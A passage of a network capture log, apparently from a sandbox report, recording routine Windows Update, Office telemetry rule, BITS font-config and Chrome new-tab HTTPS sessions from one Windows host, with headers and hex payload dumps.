2024-11-27 23:19:27 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f0c8998e-89c1-40d8-a48c-f59d19ae04e6 Date: Wed, 27 Nov 2024 23:19:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49748	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:27 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DfvcFhpLtZakfL9&MD=ULFANm9N HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-27 23:19:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b2a30158-7baa-4252-b7e9-78df7a229857 MS-RequestId: 3f66d735-0718-491b-b2c4-464fd9e86fb9 MS-CV: SQ6UfdEXRU+s0g3b.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 27 Nov 2024 23:19:28 GMT Connection: close Content-Length: 24490
2024-11-27 23:19:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-27 23:19:28 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:27 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231927Z-174f7845968j6t2phC1EWRcfe80000000xv0000000002w15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:27 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231927Z-174f7845968vqt9xhC1EWRgten0000000xmg00000000exh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49762	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:29 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-27 23:19:29 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=97277 Date: Wed, 27 Nov 2024 23:19:29 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:29 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231929Z-174f78459688l8rvhC1EWRtzr00000000a5000000000e1x7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:29 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231929Z-174f7845968kvnqxhC1EWRmf3g0000000gf0000000004tha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:29 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:29 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231929Z-174f7845968n2hr8hC1EWR9cag0000000xag000000002qfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49737	172.217.21.36	443	6496	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:29 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49767	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:31 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-27 23:19:31 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=98353 Date: Wed, 27 Nov 2024 23:19:31 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-27 23:19:31 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:31 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231931Z-174f7845968xlwnmhC1EWR0sv80000000xbg00000000hzt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:31 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231931Z-174f7845968n2hr8hC1EWR9cag0000000x5g00000000ktqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:32 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231932Z-174f7845968vqt9xhC1EWRgten0000000xpg000000007sp2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:32 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231932Z-174f7845968cpnpfhC1EWR3afc0000000x9g000000004abf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
